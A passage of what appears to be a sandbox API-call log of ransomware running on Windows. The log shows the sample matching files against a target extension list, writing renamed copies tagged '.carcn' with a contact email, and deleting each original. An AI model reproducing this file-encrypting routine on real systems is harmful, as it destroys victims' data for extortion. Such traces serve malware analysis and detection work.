Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0268.417] lstrlenW (lpString=".doc") returned 4 [0268.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.417] lstrlenW (lpString=".docx") returned 5 [0268.417] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.417] lstrlenW (lpString=".pdf") returned 4 [0268.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.418] lstrlenW (lpString=".xls") returned 4 [0268.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.418] lstrlenW (lpString=".xlsx") returned 5 [0268.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.418] lstrlenW (lpString=".ppt") returned 4 [0268.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0268.418] lstrlenW (lpString=".zip") returned 4 [0268.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.418] lstrlenW (lpString=".rar") returned 4 [0268.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.418] lstrlenW (lpString=".bz2") returned 4 [0268.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.418] lstrlenW (lpString=".7z") returned 3 [0268.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0268.418] lstrlenW (lpString=".dbf") returned 4 [0268.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0268.418] lstrlenW (lpString=".1cd") returned 4 [0268.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0268.418] lstrlenW (lpString=".jpg") returned 4 [0268.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0268.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0268.419] lstrlenW (lpString=".doc") returned 4 [0268.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.419] lstrlenW (lpString=".docx") returned 5 [0268.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.419] lstrlenW (lpString=".pdf") returned 4 [0268.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.419] lstrlenW (lpString=".xls") returned 4 [0268.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.419] lstrlenW (lpString=".xlsx") returned 5 [0268.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.419] lstrlenW (lpString=".ppt") returned 4 [0268.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0268.419] lstrlenW (lpString=".zip") returned 4 [0268.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.419] lstrlenW (lpString=".rar") returned 4 [0268.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.419] lstrlenW (lpString=".bz2") returned 4 [0268.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.420] lstrlenW (lpString=".7z") returned 3 [0268.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0268.420] lstrlenW (lpString=".dbf") returned 4 [0268.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0268.420] lstrlenW (lpString=".1cd") returned 4 [0268.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68 [0268.420] lstrlenW (lpString=".jpg") returned 4 [0268.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.420] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.420] lstrlenW (lpString="BS00076_.WMF") returned 12 [0268.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0268.421] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1330) returned 1 [0268.421] CloseHandle (hObject=0x554) returned 1 [0268.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220 [0268.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0268.422] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.422] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0268.423] GetLastError () returned 0x0 [0268.423] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x532, lpOverlapped=0x0) returned 1 [0268.439] WriteFile (in: hFile=0x540, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x540, lpOverlapped=0x0) returned 1 [0268.441] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.441] WriteFile (in: hFile=0x540, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0268.441] SetEndOfFile (hFile=0x540) returned 1 [0268.443] CloseHandle (hObject=0x540) returned 1 [0268.570] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.570] SetEndOfFile (hFile=0x554) returned 1 [0268.573] CloseHandle (hObject=0x554) returned 1 [0268.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0268.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0268.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0268.638] lstrlenW (lpString=".doc") returned 4 [0268.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.639] lstrlenW (lpString=".docx") returned 5 [0268.639] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.639] lstrlenW (lpString=".pdf") returned 4 [0268.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.639] lstrlenW (lpString=".xls") returned 4 [0268.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.639] lstrlenW (lpString=".xlsx") returned 5 [0268.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.639] lstrlenW (lpString=".ppt") returned 4 [0268.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0268.639] lstrlenW (lpString=".zip") returned 4 [0268.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.639] lstrlenW (lpString=".rar") returned 4 [0268.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.639] lstrlenW (lpString=".bz2") returned 4 [0268.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.639] lstrlenW (lpString=".7z") returned 3 [0268.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0268.639] lstrlenW (lpString=".dbf") returned 4 [0268.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0268.639] lstrlenW (lpString=".1cd") returned 4 [0268.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0268.640] lstrlenW (lpString=".jpg") returned 4 [0268.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0268.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0268.640] lstrlenW (lpString=".doc") returned 4 [0268.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.640] lstrlenW (lpString=".docx") returned 5 [0268.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.640] lstrlenW (lpString=".pdf") returned 4 [0268.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.640] lstrlenW (lpString=".xls") returned 4 [0268.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.640] lstrlenW (lpString=".xlsx") returned 5 [0268.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.640] lstrlenW (lpString=".ppt") returned 4 [0268.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0268.640] lstrlenW (lpString=".zip") returned 4 [0268.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.640] lstrlenW (lpString=".rar") returned 4 [0268.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.640] lstrlenW (lpString=".bz2") returned 4 [0268.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.640] lstrlenW (lpString=".7z") returned 3 [0268.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0268.641] lstrlenW (lpString=".dbf") returned 4 [0268.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0268.641] lstrlenW (lpString=".1cd") returned 4 [0268.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0268.641] lstrlenW (lpString=".jpg") returned 4 [0268.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.641] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.641] lstrlenW (lpString="BS00100_.WMF") returned 12 [0268.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0268.642] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2378) returned 1 [0268.642] CloseHandle (hObject=0x55c) returned 1 [0268.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220 [0268.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0268.643] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.643] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0268.644] GetLastError () returned 0x0 [0268.644] ReadFile (in: hFile=0x55c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x94a, lpOverlapped=0x0) returned 1 [0268.662] WriteFile (in: hFile=0x550, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x950, lpOverlapped=0x0) returned 1 [0268.663] ReadFile (in: hFile=0x55c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.663] WriteFile (in: hFile=0x550, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0268.664] SetEndOfFile (hFile=0x550) returned 1 [0268.670] CloseHandle (hObject=0x550) returned 1 [0268.678] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.678] SetEndOfFile (hFile=0x55c) returned 1 [0268.695] CloseHandle (hObject=0x55c) returned 1 [0268.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0268.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0268.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0268.705] lstrlenW (lpString=".doc") returned 4 [0268.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.705] lstrlenW (lpString=".docx") returned 5 [0268.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.705] lstrlenW (lpString=".pdf") returned 4 [0268.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.705] lstrlenW (lpString=".xls") returned 4 [0268.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.706] lstrlenW (lpString=".xlsx") returned 5 [0268.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.706] lstrlenW (lpString=".ppt") returned 4 [0268.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0268.706] lstrlenW (lpString=".zip") returned 4 [0268.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.706] lstrlenW (lpString=".rar") returned 4 [0268.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.706] lstrlenW (lpString=".bz2") returned 4 [0268.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.706] lstrlenW (lpString=".7z") returned 3 [0268.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0268.706] lstrlenW (lpString=".dbf") returned 4 [0268.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0268.706] lstrlenW (lpString=".1cd") returned 4 [0268.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0268.706] lstrlenW (lpString=".jpg") returned 4 [0268.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0268.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0268.707] lstrlenW (lpString=".doc") returned 4 [0268.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.707] lstrlenW (lpString=".docx") returned 5 [0268.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.707] lstrlenW (lpString=".pdf") returned 4 [0268.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.707] lstrlenW (lpString=".xls") returned 4 [0268.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.707] lstrlenW (lpString=".xlsx") returned 5 [0268.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.707] lstrlenW (lpString=".ppt") returned 4 [0268.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0268.707] lstrlenW (lpString=".zip") returned 4 [0268.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.707] lstrlenW (lpString=".rar") returned 4 [0268.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.707] lstrlenW (lpString=".bz2") returned 4 [0268.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.707] lstrlenW (lpString=".7z") returned 3 [0268.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0268.707] lstrlenW (lpString=".dbf") returned 4 [0268.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0268.707] lstrlenW (lpString=".1cd") returned 4 [0268.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0268.708] lstrlenW (lpString=".jpg") returned 4 [0268.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.708] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0268.708] lstrlenW (lpString="BS00136_.WMF") returned 12 [0268.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0268.709] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2166) returned 1 [0268.709] CloseHandle (hObject=0x554) returned 1 [0268.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220 [0268.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0268.710] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.710] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0268.711] GetLastError () returned 0x0 [0268.711] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x876, lpOverlapped=0x0) returned 1 [0268.778] WriteFile (in: hFile=0x548, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x880, lpOverlapped=0x0) returned 1 [0268.779] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.779] WriteFile (in: hFile=0x548, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0268.779] SetEndOfFile (hFile=0x548) returned 1 [0268.779] CloseHandle (hObject=0x548) returned 1 [0268.780] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.780] SetEndOfFile (hFile=0x554) returned 1 [0268.783] CloseHandle (hObject=0x554) returned 1 [0268.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0268.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0268.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0268.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0268.784] lstrlenW (lpString=".doc") returned 4 [0268.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.784] lstrlenW (lpString=".docx") returned 5 [0268.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.784] lstrlenW (lpString=".pdf") returned 4 [0268.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.784] 